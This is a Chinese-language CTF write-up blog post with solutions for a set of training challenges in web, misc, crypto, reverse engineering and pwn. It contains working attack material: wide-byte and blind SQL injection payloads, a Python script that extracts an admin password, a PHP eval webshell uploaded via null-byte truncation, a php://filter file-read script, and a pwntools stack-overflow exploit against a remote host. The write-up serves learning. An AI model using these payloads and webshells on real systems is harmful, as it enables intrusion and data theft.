WEB 展开目录
WEB 部分。
签到题展开目录
查看源码
md5 collision 展开目录
借用 PHP 的 ==
弱类型,PHP 中的 == 和 “隐式转换”
签到 2 展开目录
绕过源码中的 maxlength=10
,抓包改包。
这题不是 WEB 展开目录
下载那个 GIF,文件末尾有 flag,这显然是 MISC 好么。。。
层层递进展开目录
这题有点坑,一直查看源码,一步步走到 http://chinalover.sinaapp.com/web3/404.html
。
- <!-- Placed at the end of the document so the pages load faster -->
- <!--
- <script src="./js/jquery-n.7.2.min.js"></script>
- <script src="./js/jquery-c.7.2.min.js"></script>
- <script src="./js/jquery-t.7.2.min.js"></script>
- <script src="./js/jquery-f.7.2.min.js"></script>
- <script src="./js/jquery-{.7.2.min.js"></script>
- <script src="./js/jquery-t.7.2.min.js"></script>
- <script src="./js/jquery-h.7.2.min.js"></script>
- <script src="./js/jquery-i.7.2.min.js"></script>
- <script src="./js/jquery-s.7.2.min.js"></script>
- <script src="./js/jquery-_.7.2.min.js"></script>
- <script src="./js/jquery-i.7.2.min.js"></script>
- <script src="./js/jquery-s.7.2.min.js"></script>
- <script src="./js/jquery-_.7.2.min.js"></script>
- <script src="./js/jquery-a.7.2.min.js"></script>
- <script src="./js/jquery-_.7.2.min.js"></script>
- <script src="./js/jquery-f.7.2.min.js"></script>
- <script src="./js/jquery-l.7.2.min.js"></script>
- <script src="./js/jquery-4.7.2.min.js"></script>
- <script src="./js/jquery-g.7.2.min.js"></script>
- <script src="./js/jquery-}.7.2.min.js"></script>
- -->
手打一下 flag 吧。
AAencode 展开目录
奇怪的 JS 加密,放到控制台里跑一下。
单身二十年展开目录
抓包,注意跳转。
你从哪里来展开目录
改 Referer。
php decode 展开目录
eval
改成 echo
好了,放到一个在线测试环境里跑一下。
单身一百年也没用展开目录
继续抓包。
Download~ 展开目录
查看源码,下载的参数用 base64 加密了,改一下就好。
Cookie 展开目录
改一下 cookie。
MySQL 展开目录
提示 robots.txt
,看到一段源码,显然是弱类型了,1024.1 可破。
SQL Injection 3 展开目录
宽字节注入。注意这里的 union
必须前后字段数相同。
- // 查询数据库
- // information_schema, sqli1, test
- ?id=2%df%27 union select 1,schema_name from information_schema.schemata%23
- // sqli1 中数据表
- // flag, news
- ?id=2%df%27 union select 1,table_name from information_schema.tables where table_schema=database()%23
- // flag 表中字段
- // flag
- ?id=2%df%27 union select 1,table_name from information_schema.columns where table_name=0x666c6167 and table_schema=database()%23
- // dump 数据
- ?id=2%df%27 union select *,2 from flag%23
搞不懂为什么最后要把 *
放在前面。。。
/x00 展开目录
00 截断即可,好像也可以用数组。
bypass again 展开目录
利用数组的 md5 值绕过,a[]=1&b[]=2
。
变量覆盖展开目录
extract()
函数变量覆盖。
PHP 是世界上最好的语言展开目录
URL 编码两次即可,因为参数传入 PHP 文件时已经 URL 解码过一次了。
伪装者展开目录
X-Forwarded-For
Header 展开目录
flag 在请求头里。
上传绕过展开目录
只允许上传 jpg, gif, png 后缀,改后缀又说必须上传 php 后缀。
- ------WebKitFormBoundarybgib44bAteZlTwoM
- Content-Disposition: form-data; name="dir"
-
- /uploads/
- ------WebKitFormBoundarybgib44bAteZlTwoM
- Content-Disposition: form-data; name="file"; filename="ones.jpg"
- Content-Type: application/octet-stream
-
- <?php @eval($_POST['a']);?>
- ------WebKitFormBoundarybgib44bAteZlTwoM
- Content-Disposition: form-data; name="submit"
-
- Submit
- ------WebKitFormBoundarybgib44bAteZlTwoM--
说明和文件内容没什么关系,有关的只有 filename
和 dir
两个地方了。
最终的路径是拼接了 dir
和 filename
的,那么我们在 dir
处 00 截断为 .php
即可绕过。
SQL 注入 1 展开目录
用 #
注释掉之后的语句,注意闭合括号。
pass check 展开目录
根据 tip,传一个 pass[]=1
进去。
起名字真难展开目录
用十六进制绕过。
密码重置展开目录
user1
的参数改成 admin
的加密值,再重置。
PHP 反序列化展开目录
需要让 secret
和 enter
相等,用取地址的方法。
- <?php
- class just4fun {
- var $enter;
- var $secret;
- }
- $o = new just4fun();
- $o->enter = &$o->secret;
- echo serialize($o);
- ?>
生成 payload。
SQL Injection 4 展开目录
用反斜杠转义引号。php4fun 的题目。
综合题展开目录
一大串 jsfuck,执行以下得到 1bc29b36f623ba82aaf6724fd3b16718.php
。
这个页面的响应头里有 tip:history of bash
,那么就是 .bash_history
了。
访问得到 zip -r flagbak.zip ./*
,可以下载到 flagbak.zip
,里面有 flag。
SQL 注入 2 展开目录
利用 union select
一个已知密码的 md5 值来绕过。
- user=1' union select md5(1)%23&pass=1
综合题 2 展开目录
题目说不是一个 XSS 题,有一个留言板,带参数查询,可能有注入,查看首页源码,看到一个文件包含的地方 http://cms.nuptzj.cn/about.php?file=sm.txt
,点开是一个类似安装说明的东西,有一段数据库创建语句。
- create table admin (
- id integer,
- username text,
- userpass text,
- )
还有一些敏感文件。
config.php:存放数据库信息,移植此 CMS 时要修改
index.php:主页文件
passencode.php:Funny 公司自写密码加密算法库
say.php:用于接收和处理用户留言请求
sm.txt:本 CMS 的说明文档
那就先读一下这几个文件吧,直接包含格式不好,用一下 php://filter
。
- # coding=utf-8
- import requests
-
-
- def base642f(file):
- with open(file, 'w') as f:
- url = 'http://cms.nuptzj.cn/about.php?file=php://filter/convert.base64-encode/resource=%s' % file
- content = requests.get(url).text
- if u'参数不能为空!' not in content:
- f.write(content.split('\n')[1].decode('base64'))
- else:
- return 'cannot get it.'
-
- files = ('index.php', 'sm.txt', 'say.php', 'passencode.php', 'so.php', 'antiinject.php', 'antixss.php', 'about.php')
- map(base642f, files)
config.php
读不出来,其他几个文件里又 include
进去了 antixss.php
,antiinject.php
等文件,都读出来。
antiinject.php
内容:
- <?php
- function antiinject($content){
- $keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
- $info=strtolower($content);
- for($i=0;$i<=count($keyword);$i++){
- $info=str_replace($keyword[$i], '',$info);
- }
- return $info;
- }
- ?>
只是简单的替换,双写绕过就好了。
index.php
中的表单被发送到了 so.php
,读一下内容。
- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- <html xmlns="http://www.w3.org/1999/xhtml">
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <title>搜索留言</title>
- </head>
-
- <body>
- <center>
- <div id="say" name="say" align="left" style="width:1024px">
- <?php
- if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
- echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
- exit();
- }
- $id=$_POST['soid'];
- include 'config.php';
- include 'antiinject.php';
- include 'antixss.php';
- $id=antiinject($id);
- $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
- mysql_select_db($db_name,$con);
- $id=mysql_real_escape_string($id);
- $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
- $rs=mysql_fetch_array($result);
- echo htmlspecialchars($rs['nice']).':<br /> '.antixss($rs['say']).'<br />';
- mysql_free_result($result);
- mysql_free_result($file);
- mysql_close($con);
- ?>
- </div>
- </center>
- </body>
- </html>
这里要改一下 UA,sqlmap 改一下 nonrecursivereplacement.py
,把过滤的几个词都加进去。
- sqlmap -u "http://cms.nuptzj.cn/so.php" --data="soid=1" --user-agent="Xlcteam Browser" --tamper="nonrecursivereplacement,space2comment" --dbms=mysql
然而尴尬的只能跑出来数据库名 sae-exploitblog
,没什么用。。。还是得手工。这就用到了刚开始的那个 sql 语句了,表名 admin
,列名 username, userpass
。
- soid=1/**/anANDd/**/exists(seleSELECTct/**/coCOUNTunt(*)/**/frFROMom/**/admiADMINn/**/limit/**/0,1)
- # 有回显
- soid=1/**/anANDd/**/exists(seleSELECTct/**/coCOUNTunt(*)/**/frFROMom/**/admiADMINn/**/limit/**/1,1)
- # 无回显
说明该表中只有一条记录。
- soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(usernaNAMEme)>4)
- # 有回显
- soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(usernaNAMEme)>5)
- # 无回显
说明用户名长度 5 位,那应该就是 admin
了,试下前两位。
- soid=1/**/anANDd/**/exists(selecSELECTt/**/*/**/froFROMm/**/admiADMINn/**/where/**/ascii(mid(usernamNAMEe,1,1))>96)
- # 96 有回显,97 无回显,第一位 a
- soid=1/**/anANDd/**/exists(selecSELECTt/**/*/**/froFROMm/**/admiADMINn/**/where/**/ascii(mid(usernamNAMEe,2,1))>99)
- # 99 有回显,100 无回显,第二位 d
很明显就是 admin
了。
- soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(userpaPASSss)>33)
- # 有回显
- soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(userpaPASSss)>34)
- # 无回显
说明密码长度 34 位,之前还读到一个 passencode.php
文件。
- <?php
- function passencode($content){
- //$pass=urlencode($content);
- $array=str_split($content);
- $pass="";
- for($i=0;$i<count($array);$i++){
- if($pass!=""){
- $pass=$pass." ".(string)ord($array[$i]);
- }else{
- $pass=(string)ord($array[$i]);
- }
- }
- return $pass;
- }
- ?>
密文存储了密码的 ASCII 码,那么就是纯数字了,写个脚本跑一下。
- # coding=utf-8
- import requests
- import string
-
- urlmain = 'http://cms.nuptzj.cn/so.php'
- headers = {
- 'User-Agent': 'Xlcteam Browser',
- 'Host': 'cms.nuptzj.cn',
- }
-
- payloads = string.digits
- password = ''
-
- for i in range(1, 35):
- for j in payloads:
- payload = ('1/**/anANDd/**/exists(selecSELECTt/**/*/**/froFROMm/**/admiADMINn/**/where'
- '/**/ascii(mid(userpasPASSs,%s,1))>%s)' % (i, ord(j)))
- data = {
- 'soid': payload
- }
- response = requests.post(url=urlmain, headers=headers, data=data)
- if len(response.content) < 430:
- password += j
- print '[*] Fetching password: ' + password
- break
得到密文 1020117099010701140117011001160117
,解码得 fuckruntu
。
拿到了用户名密码,找一下后台吧。在 about.php
中,有这样的字符串。
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <?php
- $file=$_GET['file'];
- if($file=="" || strstr($file,'config.php')){
- echo "file参数不能为空!";
- exit();
- }else{
- $cut=strchr($file,"loginxlcteam");
- if($cut==false){
- $data=file_get_contents($file);
- $date=htmlspecialchars($data);
- echo $date;
- }else{
- echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
- }
- }
得到后台 http://cms.nuptzj.cn/loginxlcteam/
。
因为程序猿连后台都懒得开发了,为了方便管理,他邪恶地放了一个一句话木马在网站的根目录下
小马的文件名为:xlcteam.php
再用之前的文件包含读这个小马。
- <?php
- $e = $_REQUEST['www'];
- $arr = array($_POST['wtf'] => '|.*|e',);
- array_walk($arr, $e, '');
- ?>
这后门奇奇怪怪的,搜一下发现了一篇文章。
尴尬的是不知道怎么连菜刀。。。试了半天,地址里写 http://cms.nuptzj.cn/xlcteam.php?www=preg_replace
,密码写 wtf
。
网站根目录下有一个 恭喜你获得flag2.txt
,搞定。
注入实战 1 展开目录
那个站好像已经改版了。。。
密码重置 2 展开目录
TIPS:
1. 管理员邮箱观察一下就可以找到
2.linux 下一般使用 vi 编辑器,并且异常退出会留下备份文件
3. 弱类型 bypass
一上来就有 3 个 HINT,邮箱查看源码可以看到,备份文件常见的有 .php.swp, .php.swo, .php~
等,多试试,这题有 .submit.php.swp
。
-
-
- ........这一行是省略的代码........
-
- /*
- 如果登录邮箱地址不是管理员则 die()
- 数据库结构
-
- --
- -- 表的结构 `user`
- --
-
- CREATE TABLE IF NOT EXISTS `user` (
- `id` int(11) NOT NULL AUTO_INCREMENT,
- `username` varchar(255) NOT NULL,
- `email` varchar(255) NOT NULL,
- `token` int(255) NOT NULL DEFAULT '0',
- PRIMARY KEY (`id`)
- ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
-
- --
- -- 转存表中的数据 `user`
- --
-
- INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
- (1, '****不可见***', '***不可见***', 0);
- */
-
-
- ........这一行是省略的代码........
-
- if(!empty($token)&&!empty($emailAddress)){
- if(strlen($token)!=10) die('fail');
- if($token!='0') die('fail');
- $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
- $r = mysql_query($sql) or die('db error');
- $r = mysql_fetch_assoc($r);
- $r = $r['num'];
- if($r>0){
- echo $flag;
- }else{
- echo "失败了呀";
- }
- }
token
长度为 10,且 token = '0'
,构造一个 token=0000000000
应该可以了。
隐写展开目录
MISC 部分。
女神展开目录
图片最后有 flag。
图种展开目录
foremost
可以提取出一个 zip 文件,里面还有一张 GIF。
丘比龙的女神展开目录
binwalk
看一下,有一个 zip 文件结尾,但没有文件头,可能是被破坏了一下,在文件最后看到一个 nvshen.jpg
,应该是压缩里的文件,D8E2
处有一个 nvshen.jpg
,自己搞一个压缩包看下文件头到文件名的偏移,可以算出 D8C4
处就是文件头,抠出来修复一下文件头(可以用 WinRAR),拿到压缩包。
密码学展开目录
Crypto 部分。
easy! 展开目录
base64
KeyBoard 展开目录
看字母在键盘上画出的图案,但是我提交都不对。。。
base64 全家桶展开目录
base64 解完 32,再 16。
n 次 base64 展开目录
一直解。
骚年来一发吗展开目录
照着写一个解密函数。
- <?php
- function encode($str)
- {
- $_o = strrev($str);
- for ($_0=0; $_0 < strlen($_o); $_0++) {
- $_c = substr($_o, $_0, 1);
- $__ = ord($_c) + 1;
- $_c = chr($__);
- $_ = $_ . $_c;
- }
- return str_rot13(strrev(base64_encode($_)));
- }
-
- function decode($str)
- {
- $_d = base64_decode(strrev(str_rot13($str)));
- for ($_0=0; $_0 < strlen($_d); $_0++) {
- $_c = substr($_d, $_0, 1);
- $__ = ord($_c) - 1;
- $_c = chr($__);
- $_ = $_ . $_c;
- }
- return strrev($_);
- }
- $string = 'iEJqak3pjIaZ0NzLiITLwWTqzqGAtW2oyOTq1A3pzqas';
- echo decode($string);
- ?>
mixed_base64 展开目录
随机的加密,写个脚本跑一下。
- # coding=utf-8
- from base64 import *
-
- with open('code.txt', 'r') as f:
- cipher = f.read()
-
- tmp = cipher
- count = 10
- while count:
- count -= 1
- try:
- tmp = b64decode(cipher)
- if tmp.decode('utf-8') == tmp:
- cipher = tmp
- except Exception as e:
- # print e
- try:
- tmp = b32decode(cipher)
- if tmp.decode('utf-8') == tmp:
- cipher = tmp
- except Exception as e:
- # print e
- try:
- tmp = b16decode(cipher)
- if tmp.decode('utf-8') == tmp:
- cipher = tmp
- except Exception as e:
- print e
-
- print tmp
注意有时候即使不是用该方法加密,依然可以解密,但是是乱码,这里再判断下编码是否正常以排除这类状况。
异性相吸展开目录
根据提示是异或加密。
- # coding=utf-8
- import re
-
- with open(unicode('密文.txt', 'utf-8'), 'r') as f:
- cipher = f.read()
-
- with open(unicode('明文.txt', 'utf-8'), 'r') as f:
- plaintext = f.read()
-
- hex_cipher = re.findall('.{2}', cipher.encode('hex'))
- hex_plaintext = re.findall('.{2}', plaintext.encode('hex'))
-
- flag = []
- for i in range(len(hex_cipher)):
- flag.append(chr(int(hex_cipher[i], 16) ^ int(hex_plaintext[i], 16)))
- print ''.join(flag)
md5 展开目录
爆破一下。
- # coding=utf-8
- import hashlib
- import re
-
- s1 = 'TASC'
- s2 = 'O3RJMV'
- s3 = 'WDJKX'
- s4 = 'ZM'
-
- word = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
-
- with open('md5.txt', 'w') as f:
- for i in word:
- for j in word:
- for k in word:
- s = s1 + i + s2 + j + s3 + k + s4
- m = hashlib.md5()
- m.update(s)
- m2 = m.hexdigest()
- if re.match(r'e9032[0-9a-f]{3}da[0-9a-f]{3}08[0-9a-f]{4}911513[0-9a-f]0[0-9a-f]{3}a2', m2):
- print m2
Vigenere 展开目录
不太会,还在做。
MISC 展开目录
难道隐写不是 MISC,诡异的分类。
easy wireshark 展开目录
tcp stream 12 里有个 flag.php。
wireshark 2 展开目录
看到一个 secret.txt
,提取内容。
- the password for zip file is : ZipYourMouth
还看到一个 flag.zip,搞了半天发现不对,直接全局搜 flag 字符,发现在一个地方还有一个 zip 文件头,把这个抠出来,修复一下,用密码解压。
RE 展开目录
逆向部分。
Hello RE 展开目录
IDA 打开,F5,看到一串字符。
手动拼一下。
ReadASM 2 展开目录
读汇编。。。好难。
PWN 展开目录
PWN 爸爸。
When Did You Born 展开目录
- #include <stdio.h>
-
- struct Student {
- char name[8];
- int birth;
- };
-
- int main(void) {
- struct Student student;
- printf("What\'s Your Birth?\n");
- scanf("%d", &student.birth);
- while (getchar() != '\n') ;
- if (student.birth == 1926) {
- printf("You Cannot Born In 1926!\n");
- return 0;
- }
- printf("What\'s Your Name?\n");
- gets(student.name);
- printf("You Are Born In %d\n", student.birth);
- if (student.birth == 1926) {
- printf("You Shall Have Flag.\n");
- system("cat flag");
- } else {
- printf("You Are Naive.\n");
- printf("You Speed One Second Here.\n");
- }
- return 0;
- }
给了源码,这就简单多了,name
是 8 个字节,用 gets
读入,显然是可以栈溢出的。
- from pwn import *
-
- HOST = '115.28.79.166'
- PORT = 5555
- BUFFER = 4096
-
- p = remote(HOST, PORT)
- print p.recvuntil('?')
- p.sendline('1')
- print p.recvuntil('?')
- p.sendline('s'*8+p64(0x0786))
- print p.recv(BUFFER)
- print p.recv(BUFFER)
- print p.recv(BUFFER)
你好,关于最后一道缓冲区溢出的题,我有一个问题。1926 的 int32 是 0x00 00 07 86,追加到's'*8 之后 不就变成了 0x73 ... 73 00 00 07 86 了么?其中 0x00 不会被 gets 函数当做 \0 对待么?如果是这样的话,应该碰不到 student.birth 吧?刚接触 CTF 并不是很懂这方面,希望能得到解答。十分感谢!
我又想了一下,是不是端序的问题? 如果是小端的话,1926 其实被 encode 成了 0x86 07 00 00。这样就能修改低 16 位,而高位已经被 p.sendline ('1') 设置为 0 了?